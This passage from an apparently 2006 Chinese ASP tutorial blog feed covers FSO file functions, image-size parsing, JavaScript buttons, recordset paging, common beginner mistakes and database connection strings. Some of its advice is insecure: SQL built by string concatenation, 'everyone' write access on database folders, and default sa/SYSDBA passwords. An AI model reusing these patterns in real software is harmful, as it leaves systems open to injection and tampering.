/>FiletempData=Replace(FiletempData,Target,String)<br />Set objCountFile=objFSO.CreateTextFile(Server.MapPath(filename),True)<br />objCountFile.Write FiletempData <br />objCountFile.Close<br />Set objCountFile=Nothing<br />Set objFSO = Nothing<br />End Function<br />17.使用FSO读取文件内容的函数<br />function FSOFileRead(filename)<br />Dim objFSO,objCountFile,FiletempData<br />Set objFSO = Server.CreateObject("Scripting.FileSystemObject")<br />Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True)<br />FSOFileRead = objCountFile.ReadAll<br />objCountFile.Close<br />Set objCountFile=Nothing<br />Set objFSO = Nothing<br />End Function<br />18.使用FSO读取文件某一行的函数<br />function FSOlinedit(filename,lineNum)<br />if linenum &lt; 1 then exit function<br />dim fso,f,temparray,tempcnt<br />set fso = server.CreateObject("scripting.filesystemobject")<br />if not fso.fileExists(server.mappath(filename)) then exit function<br />set f = fso.opentextfile(server.mappath(filename),1)<br />if not f.AtEndofStream then<br />tempcnt = f.readall<br />f.close<br />set f = nothing<br />temparray = split(tempcnt,chr(13)&amp;chr(10))<br />if lineNum&gt;ubound(temparray)+1 then<br />exit function<br />else<br />FSOlinedit = temparray(lineNum-1)<br />end if<br />end if<br />end function<br />19.使用FSO写文件某一行的函数<br />function FSOlinewrite(filename,lineNum,Linecontent)<br />if linenum &lt; 1 then exit function<br />dim fso,f,temparray,tempCnt<br />set fso = server.CreateObject("scripting.filesystemobject")<br />if not fso.fileExists(server.mappath(filename)) then exit function<br />set f = fso.opentextfile(server.mappath(filename),1)<br />if not f.AtEndofStream then<br />tempcnt = f.readall<br />f.close<br />temparray = split(tempcnt,chr(13)&amp;chr(10))<br />if lineNum&gt;ubound(temparray)+1 then<br />exit function<br />else<br />temparray(lineNum-1) = lineContent<br />end if<br />tempcnt = join(temparray,chr(13)&amp;chr(10))<br />set f = fso.createtextfile(server.mappath(filename),true)<br />f.write tempcnt<br />end if<br />f.close<br />set f = nothing<br />end function<br />20.使用FSO添加文件新行的函数<br />function FSOappline(filename,Linecontent)<br />dim fso,f<br />set fso = server.CreateObject("scripting.filesystemobject")<br />if not fso.fileExists(server.mappath(filename)) then exit function<br />set f = fso.opentextfile(server.mappath(filename),8,1)<br />f.write chr(13)&amp;chr(10)&amp;Linecontent<br />f.close<br />set f = nothing<br />end function<br />21.读文件最后一行的函数<br />function FSOlastline(filename)<br />dim fso,f,temparray,tempcnt<br />set fso = server.CreateObject("scripting.filesystemobject")<br />if not fso.fileExists(server.mappath(filename)) then exit function<br />set f = fso.opentextfile(server.mappath(filename),1)<br />if not f.AtEndofStream then<br />tempcnt = f.readall<br />f.close<br />set f = nothing<br />temparray = split(tempcnt,chr(13)&amp;chr(10))<br />FSOlastline = temparray(ubound(temparray))<br />end if<br />end function<br />利用FSO取得BMP，JPG，PNG，GIF文件信息(大小，宽、高等)<br />&lt;%<br />'::: BMP, GIF, JPG and PNG :::　<br /><br />'::: This function gets a specified number of bytes from any :::<br />'::: file, starting at the offset (base 1) :::<br />'::: :::<br />'::: Passed: :::<br />'::: flnm =&gt; Filespec of file to read :::<br />'::: offset =&gt; Offset at which to start reading :::<br />'::: bytes =&gt; How many bytes to read :::<br />'::: :::<br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />function GetBytes(flnm, offset, bytes)<br />Dim objFSO<br />Dim objFTemp<br />Dim objTextStream<br />Dim lngSize<br />on error resume next<br />Set objFSO = CreateObject("Scripting.FileSystemObject")　<br /><br />' First, we get the filesize<br />Set objFTemp = objFSO.GetFile(flnm)<br />lngSize = objFTemp.Size<br />set objFTemp = nothing<br />fsoForReading = 1<br />Set objTextStream = objFSO.OpenTextFile(flnm, fsoForReading)<br />if offset &gt; 0 then<br />strBuff = objTextStream.Read(offset - 1)<br />end if<br />if bytes = -1 then ' Get All!<br />GetBytes = objTextStream.Read(lngSize) 'ReadAll<br />else<br />GetBytes = objTextStream.Read(bytes)<br />end if<br />objTextStream.Close<br />set objTextStream = nothing<br />set objFSO = nothing<br />end function　<br /><br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />'::: :::<br />'::: Functions to convert two bytes to a numeric value (long) :::<br />'::: (both little-endian and big-endian) :::<br />'::: :::<br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />function lngConvert(strTemp)<br />lngConvert = clng(asc(left(strTemp, 1)) + ((asc(right(strTemp, 1)) * 256)))<br />end function<br />function lngConvert2(strTemp)<br />lngConvert2 = clng(asc(right(strTemp, 1)) + ((asc(left(strTemp, 1)) * 256)))<br />end function　<br /><br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />'::: :::<br />'::: This function does most of the real work. It will attempt :::<br />'::: to read any file, regardless of the extension, and will :::<br />'::: identify if it is a graphical image. :::<br />'::: :::<br />'::: Passed: :::<br />'::: flnm =&gt; Filespec of file to read :::<br />'::: width =&gt; width of image :::<br />'::: height =&gt; height of image :::<br />'::: depth =&gt; color depth (in number of colors) :::<br />'::: strImageType=&gt; type of image (e.g. GIF, BMP, etc.) :::<br />'::: :::<br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />function gfxSpex(flnm, width, height, depth, strImageType)<br />dim strPNG <br />dim strGIF<br />dim strBMP<br />dim strType<br />strType = ""<br />strImageType = "(unknown)"<br />gfxSpex = False<br />strPNG = chr(137) &amp; chr(80) &amp; chr(78)<br />strGIF = "GIF"<br />strBMP = chr(66) &amp; chr(77)<br />strType = GetBytes(flnm, 0, 3)<br />if strType = strGIF then ' is GIF<br />strImageType = "GIF"<br />Width = lngConvert(GetBytes(flnm, 7, 2))<br />Height = lngConvert(GetBytes(flnm, 9, 2))<br />Depth = 2 ^ ((asc(GetBytes(flnm, 11, 1)) and 7) + 1)<br />gfxSpex = True<br />elseif left(strType, 2) = strBMP then ' is BMP<br />strImageType = "BMP"<br />Width = lngConvert(GetBytes(flnm, 19, 2))<br />Height = lngConvert(GetBytes(flnm, 23, 2))<br />Depth = 2 ^ (asc(GetBytes(flnm, 29, 1)))<br />gfxSpex = True<br />elseif strType = strPNG then ' Is PNG<br />strImageType = "PNG"<br />Width = lngConvert2(GetBytes(flnm, 19, 2))<br />Height = lngConvert2(GetBytes(flnm, 23, 2))<br />Depth = getBytes(flnm, 25, 2)<br />select case asc(right(Depth,1))<br />case 0<br />Depth = 2 ^ (asc(left(Depth, 1)))<br />gfxSpex = True<br />case 2<br />Depth = 2 ^ (asc(left(Depth, 1)) * 3)<br />gfxSpex = True<br />case 3<br />Depth = 2 ^ (asc(left(Depth, 1))) '8<br />gfxSpex = True<br />case 4<br />Depth = 2 ^ (asc(left(Depth, 1)) * 2)<br />gfxSpex = True<br />case 6<br />Depth = 2 ^ (asc(left(Depth, 1)) * 4)<br />gfxSpex = True<br />case else<br />Depth = -1<br />end select　<br /><br />else<br />strBuff = GetBytes(flnm, 0, -1) ' Get all bytes from file<br />lngSize = len(strBuff)<br />flgFound = 0<br />strTarget = chr(255) &amp; chr(216) &amp; chr(255)<br />flgFound = instr(strBuff, strTarget)<br />if flgFound = 0 then<br />exit function<br />end if<br />strImageType = "JPG"<br />lngPos = flgFound + 2<br />ExitLoop = false<br />do while ExitLoop = False and lngPos &lt; lngSize　<br /><br />do while asc(mid(strBuff, lngPos, 1)) = 255 and lngPos &lt; lngSize<br />lngPos = lngPos + 1<br />loop<br />if asc(mid(strBuff, lngPos, 1)) &lt; 192 or asc(mid(strBuff, lngPos, 1)) &gt; 195 then<br />lngMarkerSize = lngConvert2(mid(strBuff, lngPos + 1, 2))<br />lngPos = lngPos + lngMarkerSize + 1<br />else<br />ExitLoop = True<br />end if<br />loop<br />'<br />if ExitLoop = False then<br />Width = -1<br />Height = -1<br />Depth = -1<br />else<br />Height = lngConvert2(mid(strBuff, lngPos + 4, 2))<br />Width = lngConvert2(mid(strBuff, lngPos + 6, 2))<br />Depth = 2 ^ (asc(mid(strBuff, lngPos + 8, 1)) * 8)<br />gfxSpex = True<br />end if　<br /><br />end if<br />end function　<br /><br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />'::: Test Harness :::<br />':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::　<br /><br />' To test, we'll just try to show all files with a .GIF extension in the root of C:<br />Set objFSO = CreateObject("Scripting.FileSystemObject")<br />Set objF = objFSO.GetFolder("c:\")<br />Set objFC = objF.Files<br />response.write "&lt;table border=""0"" cellpadding=""5""&gt;"<br />For Each f1 in objFC<br />if instr(ucase(f1.Name), ".GIF") then<br />response.write "&lt;tr&gt;&lt;td&gt;" &amp; f1.name &amp; "&lt;/td&gt;&lt;td&gt;" &amp; f1.DateCreated &amp; "&lt;/td&gt;&lt;td&gt;" &amp; f1.Size &amp; "&lt;/td&gt;&lt;td&gt;"<br />if gfxSpex(f1.Path, w, h, c, strType) = true then<br />response.write w &amp; " x " &amp; h &amp; " " &amp; c &amp; " colors"<br />else<br />response.write " "<br />end if<br />response.write "&lt;/td&gt;&lt;/tr&gt;"<br />end if<br />Next<br />response.write "&lt;/table&gt;"<br />set objFC = nothing<br />set objF = nothing<br />set objFSO = nothing　<br /><br />%&gt;<br />24.点击返回上页代码:<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="返回上一步" onCLICK="history.back(-1)"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />24.点击刷新代码:<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="刷新按钮一" onCLICK="ReloadButton()"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />&lt;script language="javascript"&gt;&lt;!--<br />function ReloadButton(){location.href="allbutton.htm";}<br />// --&gt;&lt;/script&gt;　<br /><br />24.点击刷新代码2:<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="刷新按钮二" onClick="history.go(0)"&gt; &lt;/p&gt;<br />&lt;/form&gt;　<br /><br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="打开一个网站" onCLICK="HomeButton()"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />&lt;script language="javascript"&gt;&lt;!--<br />function HomeButton(){location.href="<a href="http://nettrain.126.com&quot;;;;/" target="_blank">http://nettrain.126.com";;;</a> }<br />// --&gt;&lt;/script&gt;　<br /><br />25.弹出警告框代码:<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="弹出警告框" onCLICK="AlertButton()"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />&lt;script language="javascript"&gt;&lt;!--<br />function AlertButton(){window.alert("要多多光临呀！");}<br />// --&gt;&lt;/script&gt;　<br /><br />26.状态栏信息<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="状态栏信息" onCLICK="StatusButton()"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />&lt;script language="javascript"&gt;&lt;!--<br />function StatusButton(){window.status="要多多光临呀！";}<br />// --&gt;&lt;/script&gt;　<br /><br />27.背景色变换<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="背景色变换" onClick="BgButton()"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />&lt;script&gt;function BgButton(){<br />if (document.bgColor=='#00ffff')<br />{document.bgColor='#ffffff';}<br />else{document.bgColor='#00ffff';}<br />}<br />&lt;/script&gt;　<br /><br />28.点击打开新窗口<br />&lt;form&gt;<br />&lt;p&gt;&lt;input TYPE="button" value="打开新窗口" onCLICK="NewWindow()"&gt;&lt;/p&gt;<br />&lt;/form&gt;<br />&lt;script language="javascript"&gt;&lt;!--<br />function NewWindow(){window.open("<a href="http://www.mcmx.com&quot;;;/" target="_blank">http://www.mcmx.com";;</a> ,"","height=240,width=340,status=no,location=no,toolbar=no,directories=no,menubar=no");}<br />// --&gt;&lt;/script&gt;&lt;/body&gt;<br />29.分页代码:<br />&lt;%''本程序文件名为：Pages.asp%&gt;<br />&lt;%''包含ADO常量表文件adovbs.inc，可从"\Program Files\Common Files\System\ADO"目录下拷贝%&gt;<br />&lt;!--#Include File="adovbs.inc"--&gt;<br />&lt;%''＊建立数据库连接，这里是Oracle8.05数据库<br />Set conn=Server.CreateObject("ADODB.Connection") <br />conn.Open "Provider=msdaora.1;Data Source=YourSrcName;User ID=YourUserID;Password=YourPassword;" 　<br /><br />Set rs=Server.CreateObject("ADODB.Recordset") ''创建Recordset对象<br />rs.CursorLocation=adUseClient ''设定记录集指针属性<br />''＊设定一页内的记录总数，可根据需要进行调整 <br />rs.PageSize=10 　<br /><br />''＊设置查询语句 <br />StrSQL="Select ID,姓名,住址,电话 from 通讯录 Order By ID" <br />rs.Open StrSQL,conn,adOpenStatic,adLockReadOnly,adCmdText<br />%&gt;<br />&lt;HTML&gt;<br />&lt;HEAD&gt;<br />&lt;title&gt;分页示例&lt;/title&gt;<br />&lt;script language=javascript&gt;<br />//点击"[第一页]"时响应：<br />function PageFirst()<br />{ <br />document.MyForm.CurrentPage.selectedIndex=0;<br />document.MyForm.CurrentPage.onchange();<br />}<br />//点击"[上一页]"时响应：<br />function PagePrior()<br />{ <br />document.MyForm.CurrentPage.selectedIndex--;<br />document.MyForm.CurrentPage.onchange();<br />}<br />//点击"[下一页]"时响应：<br />function PageNext()<br />{ <br />document.MyForm.CurrentPage.selectedIndex++;<br />document.MyForm.CurrentPage.onchange(); <br />}<br />//点击"[最后一页]"时响应：<br />function PageLast()<br />{ <br />document.MyForm.CurrentPage.selectedIndex=document.MyForm.CurrentPage.length-1;<br />document.MyForm.CurrentPage.onchange();<br />}<br />//选择"第？页"时响应：<br />function PageCurrent()<br />{ //Pages.asp是本程序的文件名<br />document.MyForm.action='Pages.asp?Page='+(document.MyForm.CurrentPage.selectedIndex+1)<br />document.MyForm.submit();<br />} <br />&lt;/Script&gt;<br />&lt;/HEAD&gt;<br />&lt;BODY bgcolor="#ffffcc" link="#008000" vlink="#008000" alink="#FF0000""&gt;　<br /><br />&lt;%IF rs.Eof THEN<br />Response.Write("&lt;font size=2 color=#000080&gt;[数据库中没有记录！]&lt;/font&gt;")<br />ELSE <br />''指定当前页码<br />If Request("CurrentPage")="" Then<br />rs.AbsolutePage=1<br />Else<br />rs.AbsolutePage=CLng(Request("CurrentPage"))<br />End If 　<br /><br />''创建表单MyForm,方法为Get<br />Response.Write("&lt;form method=Get name=MyForm&gt;") <br />Response.Write("&lt;p align=center&gt;&lt;font size=2 color=#008000&gt;")<br />''设置翻页超链接<br />if rs.PageCount=1 then <br />Response.Write("[第一页] [上一页] [下一页] [最后一页] ")<br />else <br />if rs.AbsolutePage=1 then<br />Response.Write("[第一页] [上一页] ")<br />Response.Write("[&lt;a href=java script:PageNext()&gt;下一页&lt;/a&gt;] ") <br />Response.Write("[&lt;a href=java script:PageLast()&gt;最后一页&lt;/a&gt;] ") <br />else <br />if rs.AbsolutePage=rs.PageCount then<br />Response.Write("[&lt;a href=java script:PageFirst()&gt;第一页&lt;/a&gt;] ") <br />Response.Write("[&lt;a href=java script:PagePrior()&gt;上一页&lt;/a&gt;] ") <br />Response.Write("[下一页] [最后一页] ")<br />else<br />Response.Write("[&lt;a href=java script:PageFirst()&gt;第一页&lt;/a&gt;] ") <br />Response.Write("[&lt;a href=java script:PagePrior()&gt;上一页&lt;/a&gt;] ") <br />Response.Write("[&lt;a href=java script:PageNext()&gt;下一页&lt;/a&gt;] ") <br />Response.Write("[&lt;a href=java script:PageLast()&gt;最后一页&lt;/a&gt;] ") <br />end if<br />end if<br />end if　<br /><br />''创建下拉列表框，用于选择浏览页码<br />Response.Write("第&lt;select size=1 name=CurrentPage onchange=PageCurrent()&gt;") <br />For i=1 to rs.PageCount <br />if rs.AbsolutePage=i then<br />Response.Write("&lt;option selected&gt;"&amp;i&amp;"&lt;/option&gt;") ''当前页码<br />else<br />Response.Write("&lt;option&gt;"&amp;i&amp;"&lt;/option&gt;")<br />end if <br />Next <br />Response.Write("&lt;/select&gt;页/共"&amp;rs.PageCount&amp;"页 共"&amp;rs.RecordCount&amp;"条记录&lt;/font&gt;&lt;p&gt;") <br />Response.Write("&lt;/form&gt;")　<br /><br />''创建表格，用于显示<br />Response.Write("&lt;table align=center cellspacing=1 cellpadding=1 border=1") <br />Response.Write(" bordercolor=#99CCFF bordercolordark=#b0e0e6 bordercolorlight=#000066&gt;")　<br /><br />Response.Write("&lt;tr bgcolor=#ccccff bordercolor=#000066&gt;") 　<br /><br />Set Columns=rs.Fields 　<br /><br />''显示表头<br />For i=0 to Columns.Count-1<br />Response.Write("&lt;td align=center width=200 height=13&gt;")<br />Response.Write("&lt;font size=2&gt;&lt;b&gt;"&amp;Columns(i).name&amp;"&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;") <br />Next<br />Response.Write("&lt;/tr&gt;")<br />''显示内容<br />For i=1 to rs.PageSize <br />Response.Write("&lt;tr bgcolor=#99ccff bordercolor=#000066&gt;") <br />For j=0 to Columns.Count-1 <br />Response.Write("&lt;td&gt;&lt;font size=2&gt;"&amp;Columns(j)&amp;"&lt;/font&gt;&lt;/td&gt;") <br />Next<br />Response.Write("&lt;/tr&gt;")　<br /><br />rs.movenext <br />if rs.EOF then exit for <br />Next　<br /><br />Response.Write("&lt;/table&gt;") 　<br /><br />END IF<br />%&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br /><img src ="http://www.blogjava.net/jlin/aggbug/62906.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2006-08-11 08:47 <a href="http://www.blogjava.net/jlin/articles/62906.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP初学者常犯的几个错误 </title><link>http://www.blogjava.net/jlin/articles/62905.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Fri, 11 Aug 2006 00:44:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/62905.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/62905.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/62905.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/62905.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/62905.html</trackback:ping><description><![CDATA[1.记录集关闭之前再次打开:<br />------------------------------------<br />sql="select * from test"<br />rs.open sql,conn,1,1<br />if not rs.eof then<br />dim myName<br />myName=rs("name")<br />end if<br />sql="select * from myBook"<br />rs.open sql,conn,1,1<br />-------------------------------------<br />解决:在第二次rs.open之前先关闭 rs.close<br />或<br />set rs1=server.createobject<br />rs1.open sql,conn,1,1<br /><br />2,用SQL关键字做表名或字段名<br />-------------------------------------<br />sql="select * from user"<br />rs.open sql,conn,1,1<br />-------------------------------------<br />user为sql关键字<br />解决:改为<br />sql="select * from [user]"<br /><br /><br />3,用锁定方式去进行update<br />-------------------------------------<br />sql="select * from [user]"<br />rs.open sql,conn,1,1<br />rs.addnew<br />或<br />rs("userName")="aa"<br />rs.update<br />-------------------------------------<br />当前记录集的打开方式为只读<br />解决:<br />改为<br />rs.open sql,conn,1,3<br /><br />4,在查询语句中采用的对比字段值与字段类型不符<br />-----------------------------------------<br />sql="select * from [user] where id='" &amp; myID &amp; "'"<br />rs.open sql,conn,1,1<br />-----------------------------------------<br />假设表中设计ID为数字型，那么些时出错。<br />解决:<br />sql="select * from [user] where id=" &amp; myID<br /><br />5,未检查变量值而出错<br />-----------------------------------------<br />sql="select * from [user] where id=" &amp; myID<br />rs.open sql,conn,1,1<br />-----------------------------------------<br />假设myID变量此时值为null,那么sql将成为<br />sql="select * from [user] where id="<br />解决:<br />在前面加上<br />if isnull(myID) then 出错提示<br /><br />6,未检查变量值类型而出错<br />-----------------------------------------<br />sql="select * from [user] where id=" &amp; myID<br />rs.open sql,conn,1,1<br />-----------------------------------------<br />假设id为数字型,myID变量此时值不为null,但为字符，比如myID此时为"aa"<br />那么sql将成为<br />sql="select * from [user] where id=aa"<br />解决:<br />在前面加上<br />if isnumeric(myID)=false then 出错提示<br /><br />这也可以有效防止 sql injection 漏洞攻击。<br /><br />7,由于数据库文件所在目录的NTFS权限而引起的'不能更新。数据库或对象为只读"错误。<br />说明:<br />WIN2K系统延续了WINNT系统的NTFS权限。<br />对于系统中的文夹都有默认的安全设置。<br />而通过HTTP对WWW访问时的系统默认用户是 iusr_计算机名 用户 ,它属于guest组。<br />当通过HTTP访问时，可以ASP或JSP，也或是PHP或.NET程序对数据进行修改操作：<br />比如：<br />当打开某一个文章时，程序设定，文章的阅读次数=原阅读次数+1<br />执行<br />conn.execute("update arts set clicks=clicks+1 where id=n")<br />语句时，如果 iusr_计算机名 用户没有对数据库的写权限时，就会出错.<br />解决方法:<br />找到数据库所在目录<br />右键》属性》安全选项卡》设置 iusr_计算机名 用户的写权限(当然，也可以是everyone)<br /><img src ="http://www.blogjava.net/jlin/aggbug/62905.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2006-08-11 08:44 <a href="http://www.blogjava.net/jlin/articles/62905.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在ASP中如何实现点击“删除”按扭后弹出删除提示对话框？单击确定后删除，单击否则返回</title><link>http://www.blogjava.net/jlin/articles/62900.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Fri, 11 Aug 2006 00:36:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/62900.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/62900.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/62900.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/62900.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/62900.html</trackback:ping><description><![CDATA[&lt;a href="*****" onClick="return confirm('您确定进行删除操作吗？')"&gt;删除&lt;/a&gt; <br />当点击删除时弹出对话框问你“您确定进行删除操作吗？”点击“是”则删除，点击“否”则返回！<img src ="http://www.blogjava.net/jlin/aggbug/62900.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2006-08-11 08:36 <a href="http://www.blogjava.net/jlin/articles/62900.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数据库连接示例</title><link>http://www.blogjava.net/jlin/articles/62367.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Tue, 08 Aug 2006 08:03:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/62367.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/62367.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/62367.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/62367.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/62367.html</trackback:ping><description><![CDATA[
		<p>asp连接Access数据库(ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> dbPath="config/bloo.mdb"<br /> connStr="Driver={Microsoft Access Driver (*.mdb)}; DBQ=" &amp; Server.MapPath(DBpath)<br /> conn.open connStr</p>
		<p>asp连接Access数据库(OleDb)<br /> set conn=server.createobject("adodb.connection")<br /> dbPath="config/bloo.mdb"<br /> connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" &amp; Server.MapPath(DBpath)<br /> conn.open connStr</p>
		<p>asp连接SQL Server数据库(ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="Driver={SQL Server};Server=(Local);UID=sa;PWD=sa;database=system;"<br /> conn.open connStr</p>
		<p>asp连接SQL Server数据库(OleDb)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="Provider=SQLOLEDB.1;User ID=sa;Password=sa;Data Source=(local);Initial Catalog=system;"<br /> conn.open connStr</p>
		<p>asp连接DM数据库(ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="DSN=***;DRIVER={DM ODBC DRIVER};DATABASE=SYSTEM;UID=SYSDBA;PWD=SYSDBA;"<br /> conn.open connStr</p>
		<p>asp.net连接DM数据库(ODBC)<br /> Driver={DM ODBC Driver}; Server=localhost; Database=SYSTEM; UID=SYSDBA; PWD=SYSDBA;</p>
		<p>asp.net连接DM数据库(OleDb)<br /> Provider=DMOLEDB.1; Data Source=localhost; Initial Catalog=SYSTEM; User Id=SYSDBA; Password=SYSDBA; Port=1433<br /> 或<br /> Provider=DMOLEDB.1; Data Source=localhost; Initial Catalog=SYSTEM; User Id=SYSDBA; Password=SYSDBA;<br /><br />转贴</p>
<img src ="http://www.blogjava.net/jlin/aggbug/62367.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2006-08-08 16:03 <a href="http://www.blogjava.net/jlin/articles/62367.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习asp的一些心得</title><link>http://www.blogjava.net/jlin/articles/57229.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Sat, 08 Jul 2006 01:23:00 GMT</pubDate><guid>http://www.blogjava.net/jlin/articles/57229.html</guid><wfw:comment>http://www.blogjava.net/jlin/comments/57229.html</wfw:comment><comments>http://www.blogjava.net/jlin/articles/57229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jlin/comments/commentRss/57229.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jlin/services/trackbacks/57229.html</trackback:ping><description><![CDATA[
		<p>1。数据库连接字符串<br />ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp; Server.MapPath(datapath)<br />   <br />Set conn = Server.CreateObject("ADODB.Connection")<br />    <br />conn.open ConnStr <br />2。<br />1．通过ODBC或者OLE方式连接的区别？ </p>
		<p>现在有两种连接数据库的方法。一方面，可以用ODBC产生一个连接，这种连接与任何有ODBC驱动器的数据库（即基本上是市场上所有的数据库）兼容；另一方面，可以用原始OLE DB提供商产生一个连接。 </p>
		<p>该用哪个提供商？尽可能用原始OLE DB提供商，因为它提供了对数据更有效的访问。Microsoft正逐步用OLE DB取代ODBC标准，应该仅仅在没有原始OLE DB提供商时使用ODBC。 </p>
		<p>⑴．用ODBC方式连接SQL Server： <br />①．配置ODBC <br />②．连接代码： <br />conn_odbc.asp <br />&lt;% <br />Set Conn = Server.CreateObject("ADODB.Connection") <br />'Conn.Open "DSN=course_dsn;UID=course_user;PWD=course_password;DATABASE=course" <br />Conn.Open "course_dsn","course_user","course_password" <br />%&gt; <br />注意：在配置MyDSN时若指定默认数据库为course则上述代码作用想同，否则第二行的连接方式更有灵活性，可以指定连接某个数据库（当然，前提是course_user对这个数据库有操作权限）。 </p>
		<p>⑵．用OLE方式连接SQL Server： <br />conn_ole.asp <br />&lt;% <br />Set Conn = Server.CreateObject("ADODB.Connection") <br />Conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=10.1.43.238,2433; UID=course_user;PWD=course_password;DATABASE=course" <br />%&gt; </p>
		<p>2006-7-7  17:57  学习VBscript 的一些心得<br />  <br /> 1。 asp程序不区分大小写<br /> 2。 asp程序一行语句只能写在一行上，一行语句不能写多条语句，如果一行语句要写多行语句，用:分开，或用回车键分开。<br /> 3。 注意asp程序的一写关键字，比如 if...then...else语句，还有 if..then...endif(多条件)<br />  要这样写：<br />     if 条件语句1 then <br />        执行语句1<br />     elseif 条件语句2 then <br />        执行语句2<br />     .........<br />     else <br />      执行语句 n+1<br />    end if <br />    ( 注意其中的elseif 不能分开写)<br /><br />4.asp程序不支持多行注释<br /></p>
<img src ="http://www.blogjava.net/jlin/aggbug/57229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jlin/" target="_blank">fly</a> 2006-07-08 09:23 <a href="http://www.blogjava.net/jlin/articles/57229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>